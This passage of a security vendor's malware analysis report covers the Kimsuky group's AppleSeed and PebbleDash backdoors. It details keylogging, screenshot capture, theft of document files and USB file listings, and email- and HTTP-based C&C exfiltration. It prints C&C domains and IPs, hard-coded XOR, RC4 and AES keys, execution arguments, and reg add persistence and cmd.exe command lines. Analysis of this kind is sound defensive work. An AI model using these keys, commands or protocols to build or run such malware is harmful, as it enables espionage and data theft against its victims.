commands from the C&C server and perform them. The following table provides an overview on the infostealing feature and routines for performing additional commands.
AppleSeed samples with functional info-stealing feature use more URLs than those mentioned above.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
The following shows the entire URLs used with an explanation for each case.
Mode
Feature
ping
/?m=a&p1=[PcID]&p2=[PcInfo][MalwareVersion]
Maintaining connection with the
C&C server
Sending
command results
/?m=b&p1=[PcID]&p2=a
Sending CMD command results
/?m=b&p1=[PcID]&p2=b
Stealing designated file
/?m=b&p1=[PcID]&p2=b
Stealing document files from a
certain path
/?m=b&p1=[PcID]&p2=b
Stealing file list information within
the USB drive
/?m=b&p1=[PcID]&p2=c
Stealing captured screenshots
/?m=b&p1=[PcID]&p2=d
Stealing keylogging data
Downloading
commands
/?m=c&p1=[PcID]
Downloading commands from the
C&C server
Download
complete
/?m=d&p1=[PcID]
Notifying completion of command
download
Table 10. List of URLs used
3.2.1. Information Theft
Starting from the installation, the sample proves that it's different by creating the flags folder and flag files
before copying and running the file in the installation path. Each flag file contains a Unicode string "flag."
At the info-stealing routine, the sample checks each flag and steals information from each existing flag.
The stolen data is then sent to the C&C server after being encrypted and compressed with zip.
Flag File
Meaning
FolderMonitor
Stealing document files
KeyboardMonitor
Keylogging
ScreenMonitor
Taking screenshots
UsbMonitor
Stealing file list information of USB
Table 11. List of flag files
Figure 33. Flag files within flags folder
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
a. Keylogging
This is enabled if the KeyboardMonitor flag file exists within the flags folder. The keylogged data is saved
as the log.text file within the cache folder in the installation path. It is compressed and encrypted along
with other stolen data and sent to the C&C server.
Figure 34. log.txt file that stores keylogging data
b. Taking Screenshots
This is enabled if the ScreenMonitor flag file exists within the flags folder. The malware takes a screenshot
of the current screen and saves it in the %ALLUSERSPROFILE%\temp\ path as a jpg file. The file is sent
to the C&C server after being compressed and encrypted.
Figure 35. Screenshot saved as jpg file
c. Stealing Document Files
This is enabled if the FolderMonitor flag file exists within the flags folder. The malware collects document
files (e.g. ".txt," ".hwp," ".pdf," ".doc," ".xls," and ".ppt") that exist within "Desktop," "Downloads,"
"Documents," and "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE" folders, then sends them to
the C&C server after compressing and encrypting them.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 36. Routine for checking extensions of files that will be stolen
d. Stealing File List of USB
This is enabled if the UsbMonitor flag file exists within the flags folder. The malware finds a USB drive in
the current system and obtains the list of files within the USB via the following dir command. The obtained
text format data is also compressed and encrypted before being sent to the C&C server.
> cmd /s dir [drive name]:\ /s
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 37. List of files within USB drive
3.2.2. Additional Commands
Samples with the info-stealing feature enabled have 3 additional commands that can be performed after
receiving them from the C&C server. The commands are as follows:
Command Number
Command Name
Description
Upload
Setting target files to be stolen
EditFlag
Enable or disable flag
FileDownload
Saving files received in a certain
path
Table 12. C&C commands #2
a. Setting Target Files to be Stolen
Besides 4 monitor threads, AppleSeed has an additional thread that was not mentioned earlier. It
periodically reads the "list.fdb" file that exists in the installation path, and if the file contains the pathname
of a certain file, it compresses and encrypts the file in the path to send it to the C&C server. The d command
writes the received pathname into the "list.fdb" file, and if the attacker wishes to steal a certain file, they
can send the file path through the d command to upload it to their server.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
The URL used to upload files from the thread is the same as the one that is used to steal document files
and USB drive file list as shown below.
/?m=b&p1=[PcID]&p2=b
b. Setting Flags
When the sample is initially installed, it enables 4 flags: FolderMonitor, KeyboardMonitor, ScreenMonitor,
and UsbMonitor. The e command enables or disables each flag depending on the received data. When
enabling, a file with the same name is created for each flag, and when disabling, the files are deleted.
c. Downloading Files
A command for downloading files to create the received data in a certain path.
3.3. C&C Communication Using Emails
In terms of overall features, AppleSeed samples that use email for C&C communications are not much
different from the sample discussed in the "3.1 Analysis of Default Features" in this report. However, one
difference is that the samples use email protocols instead of HTTP during the C&C communications
process. As such, the C&C communications via emails will be analyzed in detail.
Like the sample with default features from the "3.1.4. Thread" part, AppleSeed utilizing email creates 2
main threads. They can be categorized as Ping thread and Command thread respectively, using email
protocol to communicate with the C&C server. The email address and password of the attacker are
encoded and saved within the file.
Email Address
Password
k1-tome@daum[.]net
c$#****fzF - (Certain strings blurred as ****)
Table 13. Information of attacker's email
The attacker used the curl open source2 to communicate with the C&C server using an email. The 2 main
threads created by the Email AppleSeed sample can be divided into a thread that uses the IMAP protocol
and a thread that uses the SMTP protocol based on their roles. The Ping thread defined in the "3.1.
"Analysis of Default Features" part uses the SMTP protocol as its role is to send the information of the
current system to the attacker's email. The Command thread uses the IMAP protocol since it receives
additional malicious data from the attacker's email.
Protocol Server
Related Thread
smtps://smtp.daum[.]net:465
Ping Thread
imaps://imap.daum[.]net:993
Command Thread
Table 14. Protocol usage type for each thread
https://github.com/curl/curl
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
3.3.1. Ping Thread (SMTP)
The sendHttpPing thread operates every 5 minutes. While it operates, it periodically sends the basic
information of the infected system to the attacker's email. The name of the email sent to the attacker takes
the form of "history yyyy-mm-dd_hh-mm-ss-sss." Note that the results shown below are based on a test
account and not the actual address used by the attacker.
Figure 38. Title of email sent from Ping thread
Figure 39. Content of email sent from Ping thread (test account used)
Item
Format
Time
[yyyy-mm-dd_hh-mm-ss-sss]
Volume Serial Number
[VolumeSerialNumber]
PcInfo
Win[MajorVersion].[MinorVersion].[Build][Architecture]
Malware Version
[D_Regsvr32]\nnv[2.0]\nn[7]
Table 15. Format used for sending information about the infected system - Email
3.3.2. Command Thread (IMAP)
This thread is executed every 30 seconds. It checks if there is an email mailbox named "cmd" in the
attacker's email account and downloads additional malware through the email's attachments. As the
attacker's email account cannot currently be accessed, it is not certain what types of malicious files exist.
"5. Post Infection" section of this report will discuss additionally installed malware strains identified by
AhnLab ASD infrastructure.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 40. 'cmd' mailbox used for distributing additional malware (cmd mailbox created for
test purpose)
The attacker uses the IMAP feature of the curl open source to download additional malware from the email
server. After going through the IMAP reset process, the thread sends the "select cmd" command to check
if the mailbox named "cmd" exists.
Figure 41. Transmission code for IMAP command that checks cmd mailbox
If the mailbox named "cmd" exists, the thread saves the attached file in
the %ALLUSERSPROFILE%\temp path with the name [random 4 characters].tmp after going through the
parsing process.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 42. Receiving email with attached file
After saving the attached file in the %ALLUSERSPROFILE%\temp path, the sample uses the "STORE 1
+Flags \Deleted" command to delete the email with the attached file from the mailbox. The process for
unpacking and decrypting the file is the same as the content of the dropAndRunCmd thread explained in
"3.1 Analysis of Default Features." This means that the sample can perform 4 commands: CMD, DLL,
MemDLL, and UpdateDLL.
4. Analysis of PebbleDash
PebbleDash, first found in 2016, is a backdoor malware that is known to be used by Lazarus group.
PebbleDash is similar to malware strains of NukeSped backdoor used by Lazarus. However, since it was
dubbed as PebbleDash in CISA (U.S. Cybersecurity & Infrastructure Security Agency) analysis report, this
report will also refer it as PebbleDash.3
Most PebbleDash types need a certain argument upon being executed, but there is also a DLL form that
is executed after being injected by other malware. Upon being executed for the first time, the malware
decrypts the encrypted argument strings used for verification and the list of API functions that it will use.
As for its own encrypted settings data, it uses another algorithm to decrypt it.
In addition, it disguises itself as a TLS protocol to communicate with the C&C server and bypasses network
detection by using multiple normal URLs and random data. It only supports basic features, such as
stealing basic information and performing commands, and is not equipped with features that backdoors
possess (e.g. taking screenshots, keylogging). However, it has a unique feature of re-enabling itself from
the disabled state to perform malicious behavior at the occurrence of events such as the system being
added with a USB drive or another user logging in through RDP.
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133c
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Distributed PebbleDash samples have some common characteristics: they require arguments to be
executed normally, have encrypted settings data, and have commands they support in common. Note
that there are differences between them, and one key difference is that the recent samples use HTTP
protocol (WinHTTP) unlike previous ones that used Raw Socket to communicate with C&C. Also, while
initial samples did not have features for maintaining persistence, current ones are added with the behavior
for registering the registry Run key, which allows them to be operated after reboot. PebbleDash samples
nowadays are created through the PIF dropper, but in the system already infected with malware such as
AppleSeed or PebbleDash, there are also cases of the malware having being downloaded from a certain
URL.
Malware strains recently used by the Kimsuky group are all DLLs designed to execute via regsvr32.exe.
In the latest version of PebbleDash, a command used to execute additional payloads through
regsvr32.exe was added. It is noteworthy that the different C&C domains used by the PebbleDash sample
(created by PIF dropper) and the Kimsuky group's AppleSeed sample were confirmed to share the same
IP address.
C&C IP
Sample
PebbleDash
www.onedriver.kro[.]kr
news.scienceon.r-e[.]kr
AppleSeed
you.ilove.n-e[.]kr
get.seino.p-e[.]kr
45.124.66[.]28
216.189.149[.]78
C&C Domain
PebbleDash
movie.youtoboo.kro[.]kr
AppleSeed
ppahjcz.tigerwood[.]tech
ping.requests.p-e[.]kr
interface.avg.n-e[.]kr
driver.spooler.p-e[.]kr
Table 16. Comparing C&C information of PebbleDash and AppleSeed
Below is the analysis information of initial and latest versions of PebbleDash and the comparison between
the two samples.
4.1. Analysis of Initial PebbleDash
4.1.1. Initial Routine
As initial versions of PebbleDash check for arguments and terminate themselves if there is no match, they
use the anti-sandbox technique that does not perform any behaviors if they are terminated. The following
is the argument string that the current analysis target sample compares to.
- Argument String Needed for Execution: 48Ur~@3$1h45dGy
a. Routine for Decoding Argument and Settings Data
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
The string shown above exists in the binary in the Xor encoded form. PebbleDash uses two types of
decoding routines: A routine of decoding arguments and settings data, and a routine of decoding the API
list. Both are done in the 0x1 byte Xor method, but the algorithm and key data are different.
This report will first discuss the routine used to decode settings data that includes the argument value.
The followings are the 0x40 byte-sized Xor key and decoding routine.
- Xor Key used to Decode Settings: 5E 85 41 FD 0C 37 57 71 D5 51 5D E3 B5 55 62 20 C1 30 96
D3 77 4C 23 13 84 8B 63 5C 48 32 2C 5B 94 8F 3A 26 79 E2 6B 94 45 D1 6F 51 24 8F 86 72 C8 D3
8D C1 C0 D3 88 56 84 B3 91 E2 B2 24 64 24
- Xor Decoding Algorithm: EncDatan xor XorKeyn+SizeOfEncData-8%0x40 xor 0x59
Figure 43. Xor decoding routine used to restore arguments and settings data
The data is decoded using simple encoded data, 0x59, and the Xor key. The Xor key is 0x40 byte, and
the 0x01 byte key value that is used is the -0x08 offset of the encoded data size.
- Example
Encoded String: B8 30 51 C8 92 4C 08 5D A9 01 FB BF 4A 52 03 4A
Decoded String: 34 38 55 72 7E 40 33 24 31 68 34 35 64 47 79 00 ( 48Ur~@3$1h45dGy )
b. Routine for Decrypting API Function List
Besides settings data, PebbleDash has an encrypted list of API functions that it uses after the decryption
and API Resolving process. The list of API functions is encrypted in the data section. Decrypting the entire
0x0829 size allows you to obtain the list for the entire API. The list also uses the 0x01 byte Xor method,
based on the 0x10-sized Xor key data shown below.
- Xor Key Data Used for API List Decryption: 81 16 AA 52 36 F2 03 3F 6D E2 48 41 49 6A 7E 67
The Xor method uses the +0x01 offset, meaning that 0x16 to 0x01 bytes based on the key shown above
are used as an Xor key.
- Xor Decryption Algorithm: EncDatan xor XorKeyn+1
When 1 key is used, the new 0x01 byte Xor key is created based on the 0x10 byte-sized Xor key data
using the following algorithm.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
- Key Creation Algorithm: ( key0x00 + key0x09 ) xor key0x0d xor key0x0f = NewXorKey
For instance, the Xor key that is first created becomes 0x6E by adding each offset's 0x01 byte value and
going through the Xor operation. Using such a method, the algorithm creates a new 0x01 byte key each
time.
- Example: (0x81 + 0xE2 ) xor 0x6A xor 0x67 = 0x6E
- New Xor Key Data: 16 AA 52 36 F2 03 3F 6D E2 48 41 49 6A 7E 67 6E
Figure 44. Xor decryption routine used for restoring API list
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 45. List of API names that are decrypted
4.1.2. Recovering Settings Data
Settings data is encoded with 0x01 byte Xor in the same method for argument strings discussed above.
PebbleDash can have 5 C&C server URLs and randomly choose 1 among them to communicate. The
current analysis target sample only has 1 URL. The settings data is shown below.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 46. Decrypted settings data
Table 17 shows the structure of the settings data. Up to 5 C&C URL data from 0x00 to 0x10 byte sizes
can be included.
Offset
Size
Meaning
+0x00
0x02
sockaddr_in.sin_family
+0x02
0x02
sockaddr_in.sin_port
+0x04
0x04
sockaddr_in.sin_addr
+0x08
0x08
NULL
+0x50
0x08
Next C&C
communications time
+0x58
0x04
Default Sleep count
+0x5C
0x04
Random value
+0x60
0x04
Drive notification flag
+0x64
0x04
Session notification flag
Table 17. Settings data
The PebbleDash sample discussed here uses Raw Socket to communicate with the C&C server. Upon
examining the decrypted settings data, the C&C URL is shown as "41.92.208[.]195:443".
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Unlike other backdoors, PebbleDash does not have multiple communications with the C&C server during
a short period, waiting at least 60 seconds before performing a command. The settings data for the +0x58
offset means the setting for the Sleep() time for waiting. As the sample above has a value of 0x0A (10), it
will wait for 600 seconds. The default Sleep time can be modified by the C&C command.
The settings data for the +0x50 offset indicates the next time the communication starts with the C&C
server. It currently has NULL, but it can be modified by receiving commands. This means that the malware
can receive commands from the C&C server to communicate several hours later. The settings data for
the +0x5C offset is the 0x4 byte random data that was found earlier. As it is used to communicate with the
C&C server, it is presumably used as a unique identifier.
Since PebbleDash waits for a long time to communicate with the C&C server by default, it is difficult for
the malware to respond to changes in the infected system in real-time. Given the fact, the developer has
added a feature which ends the waiting routine and enables communication with the C&C server when a
new drive or session is created to prevent the malware from waiting for an indefinite period of time. The
feature is enabled when the drive notification flag and session notification flag mentioned earlier are set.
Figure 47. Routine for drive and session notifications
The routine first uses the GetLogicalDrives() API to find the number of drives that are currently available
and periodically checks the change in quantity. When a new drive is added, it is most likely that a USB
memory has been inserted. The routine also uses the WTSEnumerateSessionsW() API to monitor the
number of currently enabled sessions. If another user logs on to the infected system or accesses remotely
through RDP, the number of sessions will increase, enabling PebbleDash.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
PebbleDash also has a command that sends various information of the infected system to the C&C server,
and this will be mentioned later in this report. Among data that is sent, there is the status data. As seen
below, it gains a different value when the malware is performing commands or when a drive/session is
added. Such status value will be meaningful only when it is sent to the C&C server in real time. So while
we cannot precisely know how the C&C server is configured, it appears that the command is used for
basic communications instead of the attacker manually sending it.
Status Data
Meaning
0x00
Initial Value
0x01
Performing waiting routine
0x02
Performing command routine (in units of
0x03
When a drive is added (usually when
USB is inserted)
0x04
When a session is added (usually
logging in through local or RDP)
Table 18. Types of status data
4.1.3. C&C Communications
PebbleDash communicates with the C&C server by disguising itself as TLS communications. For instance,
the following is the packet initially sent to the C&C server.
Figure 48. Initial packet sent to C&C server
The packet is the Client Hello request of the TLS Handshake process and has the following structure.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 49. TLS Client Hello
Besides the default items, the rest is configured dynamically for each item. For instance, items, such as
"type" and "TLS version,
 are the same, but values, such as server_name and Cipher Suites that are sets
of encryption algorithm, randomly choose one hard-coded value in the binary as shown in Figure 50.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 50. Randomly selected data
For URL (server_name), one normal URL is also randomly selected among the following list.
Figure 51. Randomly selected dummy URL
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
www.wordpress.com
www.wikipedia.org
www.yahoo.com
www.uc.com
www.paypal.com
www.linkedin.com
www.microsoft.com
www.avira.com
www.dell.com
www.bing.com
www.apple.com
www.avast.com
www.amazon.com
www.baidu.com
The following table provides details on the packet mentioned above that is sent to the C&C server.
Offset
Size
Description
Data
+0x00
0x01
Content Type
Handshake (22)
[ 16 ]
+0x01
0x02
Version
TLS 1.0
[ 03 01 ]
+0x03
0x02
Length
[ 00 6A ]
+0x05
0x02
Handshake Type
Client Hello (1)
[ 01 00 ]
+0x07
0x02
Length
[ 00 66 ]
+0x09
0x02
Version
TLS 1.0
[ 03 01 ]
+0x0B
0x20
Random
Random data
[61 93 0B 3D 05 22 45 DB C9 DF
2B 14 9E 1E 76 57 AB B4 BC B1
5A B7 C4 9E C3 2B 99 CE 68 DE
DD 28 ]
+0x2B
0x01
Session ID Length
[ 00 ]
+0x2C
0x01
Cipher Suites
Length
[ 00 18 ]
+0x2E
0x18
Cipher Suites
12 suites
[00 2F 00 35 00 05 00 0A C0 13
C0 14 C0 09 C0 0A 00 32 00 38
00 13 00 04 ]
+0x46
0x01
Compression
Methods Length
[ 01 ]
+0x47
0x01
Compression
Methods
NULL
[00]
+0x48
0x02
Extensions Length
[ 00 25 ]
+0x4A
0x13
Extension
server_name
[ 00 00 00 0F 00 0D 00 00 0A 77
77 77 2E 75 63 2E 63 6F 6D ]
+0x5D
0x0C
Extension
elliptic_curves
[00 0A 00 08 00 06 00 17 00 18 00
19 ]
+0x69
0x06
Extension
ec_point_formats
Table 19. Packet example
[ 00 0B 00 02 01 00 ]
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
When PebbleDash sends data to the stolen C&C server, it encrypts the data using the RC4 algorithm.
The process will be discussed in the Performing Commands part. The case is the same when the malware
receives commands from the C&C server, for which the identical key is used.
- RC4 Key: 79 E1 0A 5D 87 7D 9F F7 5D 12 2E 11 65 AC E3 25
Figure 52. Hard-coded RC4 key
4.1.4. Performing Commands
The commands sent from the C&C server can largely be divided into 2 stages. The first stage performs
default commands as shown below. Additional commands are sent only when the command is 0x04.
Command
Feature
0x03
Sleep (60 seconds)
0x04
Additional command
0x15
Setting Sleep count
0x19
Restoring default Sleep
count
0x26
Auto-delete
Table 20. Command Type 1
The 5 commands are all simple, but as mentioned earlier, the auto-delete routine has one noticeable
characteristic. To perform auto-delete, a batch file needs to be created. In this case, the name of the batch
file created in the %TEMP% path is "qsm.bat".
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 53. qsm.bat file used for auto-delete
If the first Type 1 command is 0x04, the malware can download Type 2, the actual commands. The
downloaded commands are also encoded with RC4, and the first decoded byte is the command byte for
the table shown below.
Command
Feature
0x09
Stealing drive information
0x0A
Terminating process
0x0B
Downloading files
0x0C
Deleting files
0x0D
Deleting files #2
0x0E
Stealing system info (Windows version,
adapter, status data, etc.)
0x0F
Stealing information of currently
running processes
0x10
Performing command line commands
and stealing results
0x11
Performing command line commands
and stealing results (Hidden)
0x12
Changing MAC time
0x13
Uploading files
0x14
Setting the next C&C communications
time
0x15
Setting Sleep count
0x16
Setting current task directory
0x18
Stealing file information
0x19
Maintaining connection
0x1A
Stealing file and directory information
0x1D
Manipulating files
0x1E
Changing file property
0x1F
Running processes
0x23
Changing settings data
0x24
Sending settings data
0x25
Scanning certain IP
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
0x26
0x27
Auto-delete
Uploading and deleting files
Table 21. Command Type 2
As most of the commands the malware support are also normally supported by other backdoors, this
report will only focus on those with noticeable traits. The commands 0x0C and 0x0D both delete files in
the path that they receive. Yet, whereas 0x0C simply deletes files using the DeleteFileW() API, the 0x0D
command deletes files after overwriting them with dummy data. It appears that the latter is to obstruct file
recovery in the future.
0x10 and 0x11 perform command line commands and send the result to the C&C server. The only
difference between the two is whether the CREATE_NO_WINDOW flag is used or not (status for
outputting the console window). Each command uses the following command lines to output the result in
the %TEMP% path and sends it to the C&C server.
> cmd.exe /c [Command] >[Temp file] 2>&1
> cmd.exe /c [Command] 2>[Temp file]
The 0x12 command changes the MAC (Modified Time, Accessed Time, and Created Time) time of the
file. It finds the MAC time of the file in the path that it received as the first argument and changes it to the
MAC time of the file that it received as the second argument. The 0x1E command can change file
properties, and the 0x1D command can also change the header TimeStamp besides file properties if the
target file is PE.
4.2. Analysis of Latest PebbleDash
4.2.1. Initial Routine
Encoded inside the recent PebbleDash samples are strings and a list of API functions that will be used,
but their algorithms are different from the ones used in the past. The current analysis target sample has
the following string consisting of numbers and alphabetical characters in random order.
- Data String (DataStr):
zcgXlSWkj314CwaYLvyh0U_odZH8OReKiNIr-JM2G7QAxpnmEVbqP5TuB9Ds6fFt
The following table shows the offset for each uppercase and lowercase alphabets, number, and special
characters "-" and "_".
Character
Offset
Character
Offset
Character
Offset
Character
Offset
0x14
0x28
0x06
0x2F
0x0A
0x1A
0x03
0x2e
0x27
0x22
0x0F
0x17
0x09
0x25
0x19
0x2D
0x0B
0x1F
0x0E
0x33
0x35
0x10
0x32
0x23
0x3C
0x26
0x01
0x3B
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
0x29
0x21
0x18
0x3F
0x1B
0x1C
0x1E
0x37
0x39
0x34
0x3D
0x11
0x2B
0x2A
0x02
0x0D
0x38
0x1D
0x13
0x2C
0x0C
0x05
0x20
0x12
0x3A
0x36
0x08
0x00
0x30
0x15
0x07
0x24
0x3E
0x31
0x04
Table 22. Offset of each character
0x16
The following example shows how the argument string needed for execution (MskulCxGMCgpGdM) is
decrypted. The string is 15 characters, but the encrypted string is 19 characters.
- Encrypted String (EncStr): P9HpHPN-BSWUHSOHOvz
- Decrypted String: MskulCxGMCgpGdM
The offsets for the first 4 characters of the 19-character string (P9Hp) is shown below. Each 0x4 byte
below is circulated in order and used as a key.
- Offsets for First 4 Strings (EncKey): 0x34, 0x39, 0x1A, 0x2D
The malware starts operation for the rest of the characters (HPN-BSWUHSOHOvz). You can see that the
first character is H and the offset 0x1A. As for 0x1A, subtracting the first key 0x34 and performing the 'and'
operation with 0x3F results in 0x26. Finding the 0x26 offset string from the string
(zcgXlSWkj314CwaYLvyh0U_odZH8OReKiNIr-JM2G7QAxpnmEVbqP5TuB9Ds6fFt) yields "M".
- Decryption Algorithm: offet( DataStr, ( offet( EncStr, n ) - offset( EncKey, n%3 ) ) and 0x3F )
As the operation only processes characters included in the string, those such as "." are not encrypted.
The following example shows that the string "/" was not encrypted because it was not included in the string.
- Encrypted String: rQvVWjh Vg7 TVyG\JGnIuK0c\zv-wGxD2L\E1t3DuC\-NP0cdLgcwCvDd\0Hd /s
"\"%C\" %x" /E kcZ9mQ /s "%J" /2
- Decrypted String: reg add hkcu\software\microsoft\windows\currentversion\run /d "\"%s\" %s" /t
REG_SZ /v "%s" /f
Like the initial version, the latest PebbleDash sample compares the string "MskulCxGMCgpGdM" to the
argument string that it received upon execution. When the strings do not match, it terminates itself.
When the malware is executed by receiving the argument in the actual environment, it first creates the
\system32\ folder in the same directory and copies itself with the name smss.exe. Note that recently
confirmed PebbleDash strains all copies themselves in that directory. Unlike the initial samples that did
nothing for their sustenance, the new samples register a string such as the encrypted string shown
above to the Run key using the reg command.
They then run recursion by sending the argument "YRfDFtxLjoBuYXA" along with the path of the previous
file as shown below. When PebbleDash samples receive the argument and the third argument, they delete
files in the path received through the third argument. The files are not directly deleted but overwritten with
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
NULL data like the command in the initial PebbleDash version.
C:\ProgramData\system32\smss.exe YRfDFtxLjoBuYXA "C:\ProgramData\PebbleDash.exe"
4.2.2. Recovering Settings Data
Recently confirmed PebbleDash samples encrypt settings data like previous versions. For the latest form,
the simple 0x10 byte Xor method is used. While it is 0x10 byte, the key value is still 0x9F.
- Xor Key: 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F
Figure 54. Xor decryption routine
Figure 55. Settings data being decrypted
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
The following table shows the settings data used in the latest PebbleDash sample. They are mostly similar
to the samples discussed earlier in this report. There are some differences; the volume serial number is
used along with random data when the sample communicates with the C&C server, and unlike the initial
version, which used Raw Socket to communicate with the C&C server, the latest version uses the HTTP
protocol.
Offset
Size
Meaning
+0x0000
0x0008
Next C&C communications time
+0x0008
0x0004
Default Sleep time (in minutes)
+0x000C
0x0004
Volume serial number
+0x0010
0x0004
Drive notification flag
+0x0014
0x0004
Session notification flag
+0x0018
0x0208
C&C Server URL #1
+0x0220
0x0208
C&C Server URL #2
+0x0428
0x0208
C&C Server URL #3
+0x0630
0x0208
C&C Server URL #4
+0x0838
0x0208
C&C Server URL #5
+0x0A40
0x0800
Shell (cmd.exe)
+0x1240
0x0800
Temp Directory
Table 23. Settings data
The part that sets the next C&C communications time, default Sleep count, and notification flags for drives
and sessions are mostly the same. The status data also have identical values.
Status Data
Meaning
0x00
Initial Value
0x01
Performing waiting routine
0x02
Performing command routine
(in units of 5)
0x03
When a drive is added (usually
when USB is inserted)
0x04
When a session is added
(usually logging in through local
or RDP)
Table 24. Types of status data
4.2.3. C&C Communications
The latest version of PebbleDash uses the HTTP protocol to communicate with the C&C server and as
such, uses queries to send and receive data. The following table shows the queries used to communicate
with the C&C server.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Query
Type
Meaning
Types of data that is sent
Volume serial number
Random data
data
Data to be sent
Table 25. Queries used for C&C communication
For instance, when the malware tries to secure the initial connection, it makes a POST request with the
following query:
[C&C URL]?sep=zDyTRPortBIUyue&uid=7057e9dc&sid=01d1f346
"sep" refers to the type of data that will be sent. The current analysis target sample has 6 queries defined
but practically, 3 are used.
Figure 56. Defined Types
Query
Number
Query String
zDyTRPortBIUyue
Securing connection with
the C&C server
QFbgweAUBDjojNR
Sending command
perform results
BJIcQHTzhmuafuL
Downloading commands
trceNSkCJRwZQQL
Not used
qWTZUgfjdigTpUW
Not used
lZpReYjnpgYClLi
Not used
Table 26. Types of data sent
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
When the malware successfully connects to the C&C server, it downloads commands using the following
query. "uid" is not included as it is only used to establish the initial connection, and the 3rd query and "sid"
are used instead.
[C&C URL]?sep=BJIcQHTzhmuafuL&sid=01d1f346
The downloaded data is likely a string encoded with Base64. The data received goes through the Base64
decoding process. You can check the actual commands if you decrypt the data using the AES128
algorithm.
- AES128 Key: erNpiMneSIYnRKoE
Figure 57. Base64 Decoding and AES128 Decryption Routine
When receiving commands as well as sending results PebbleDash goes through the AES128 encryption
and Base64 encoding process. The AES128 key is the same for both cases. It sends a routine that sends
the success and failure status, and the one that sends the result for performing commands. They are all
sent as the "data" item shown below.
[C&C URL]?sep=QFbgweAUBDjojNR&sid=01d1f346&data=LainSGh6TfPX9wC8LkBHKw==
The success and failure status are 0x02 and 0x01 respectively. Upon success, the data is created by
going via the following process.
- Original Data: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
- AES128 Encryption: 2D A8 A7 48 68 7A 4D F3 D7 F7 00 BC 2E 40 47 2B
- Base64 Encryption: LainSGh6TfPX9wC8LkBHKw==
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
4.2.4. Performing Commands
Most of the commands supported by the latest version of PebbleDash are not much different from the
previous samples. Their features are similar as well. For instance, upon self-deletion, it creates the
"qsm.bat" batch file and executes it to carry out the process. Furthermore, the command lines used to
send results after performing commands are almost the same.
Command
Feature
0x03
Setting current task directory
0x04
Changing MAC time
0x05
Terminating process
0x06
Stealing information of currently running
processes
0x07
Deleting files
0x08
Deleting files #2
0x09
Running processes
0x0A
Execution using file download and RegSvr32
0x0B
Execution in file download and memory
0x0C
Uploading files
0x0D
Downloading files
0x0E
Setting the next C&C communications time (in
minutes)
0x0F
Setting the next C&C communications time (in
Hex)
0x10
Auto-delete
0x11
Stealing system info (Windows version,
adapter, status data, etc.)
0x12
Changing settings data
0x13
Sending settings data
0x14
Performing command line commands and
stealing results (Hidden)
0x15
Performing command line commands and
stealing results
0x16
Maintaining connection
Table 27. Command list
Some of the commands in the list above deserve a special discussion. First of all, it should be noted that
most types of malware recently created by Kimsuky group are in DLL forms executed through
regsvr32.exe. The purpose of the 0x0A command is to support such malware strains, having an additional
command to execute the malware with "regsvr32.exe /s" after downloading payloads. In the case of the
0x0B command, it supports a command that can execute the malware in memory instead of downloading
in file forms. This type of payload supports DLL as well as an EXE form PE.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
5. Post Infection
After the initial compromise, the Kimsuky group installs a backdoor such as AppleSeed or PebbleDash on
the target system. In most cases, they continue to install additional malware strains. While these malware
strains can install additional files, steal information, and perform command line commands sent from the
attacker, they lack features to remotely control the infected system like other backdoor and RAT malware.
This is why the attackers install Meterpreter backdoor of Metasploit or VNC malware to remotely control
the system through additional payloads.
VNC, also known as Virtual Network Computing, is a screen sharing system that remotely controls other
computers. Similar to the commonly-used RDP, it is used to remotely access and control other systems.
The technology allows attackers to control the targeted system in a graphic environment.
This part will discuss malware strains that are additionally installed by the Kimsuky group after the system
is infected with AppleSeed or PebbleDash.
5.1. Remote Control
5.1.1. Meterpreter
Metasploit is a penetration testing framework. It is a tool that can be used to inspect security vulnerabilities
for networks and systems of companies and organizations, providing various features for each penetration
test stage. Like Cobalt Strike, it provides features necessary for each stage, from creating various types
of payloads for the initial infection and stealing account credentials to dominating the system via lateral
movement.
Figure 58. Metasploit GitHub
Cobalt Strike provides Beacon which is the actual malware that operates as a backdoor in the infected
PC. Depending on the method of installing a Beacon, it can be classified as Staged or Stageless. When
Cobalt Strike is built with the Staged method, a powershell or small shellcode that has a downloader
feature is created. The attacker can distribute such small-sized stager through various means. When the
stager is executed in the infected PC, it downloads Beacon that is the main malware from the C&C server
on the memory and executes it. The Stageless method creates a binary included with Beacon instead. As
such, the binary can directly communicate with the C&C server without having to download Beacon.
